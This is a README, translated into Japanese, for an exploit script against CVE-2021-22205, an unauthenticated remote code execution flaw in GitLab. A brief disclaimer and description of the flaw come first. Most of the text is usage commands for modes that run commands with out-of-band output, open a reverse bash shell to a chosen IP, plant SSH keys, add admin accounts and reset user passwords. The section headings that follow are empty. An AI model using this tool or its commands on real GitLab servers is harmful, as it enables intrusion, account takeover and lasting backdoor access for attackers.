
ExifToolを使用したGitLab CE/EEの事前認証RCE
GitLab CE/EE Preauth RCE using ExifTool
このプロジェクトは学習目的のみです。もし誰かの権利を侵害している場合は、プロジェクトを削除するためにご連絡ください。また、最後に 不正に使用しないでください このツールの使用中に違法行為を行った場合、そのすべての結果は自己責任となります。本ツールのすべての開発者およびすべての貢献者は、いかなる法的および共同責任も負いません。
GitLab CE/EE において、バージョン 11.9 以降のすべてに影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、その結果としてリモートコマンド実行が発生しました。
影響を受けるバージョン:
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
使用法:
python3 CVE-2021-22205.py -u site_url -m detect # GitLabバージョンと脆弱性の検出
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # RCE(RequestBin OOB経由のecho)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # RCE(ファイル書き込み経由のecho)*
python3 CVE-2021-22205.py -u site_url -m rev ip port # リバースBashシェル
python3 CVE-2021-22205.py -u site_url -m ssh git/root # SSH公開鍵のauthorized_keysへの追加
python3 CVE-2021-22205.py -u site_url -m add user pass # 管理者アカウントの追加 *
python3 CVE-2021-22205.py -u site_url -m mod user # 指定ユーザーのパスワードを変更 => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # 指定ユーザーの元のパスワードを復元
site_url パラメータの形式: http[s]://<ドメイン|IP>[:ポート]/、例: https://example.com:9000/* が付いたメソッド(rce2, add)は不安定で、動作しない可能性があります :(検出:

RCE(RequestBin OOB経由のecho):

リバースBashシェル:

SSH公開鍵のauthorized_keysへの追加:

GitLabユーザーパスワードの変更と復元:
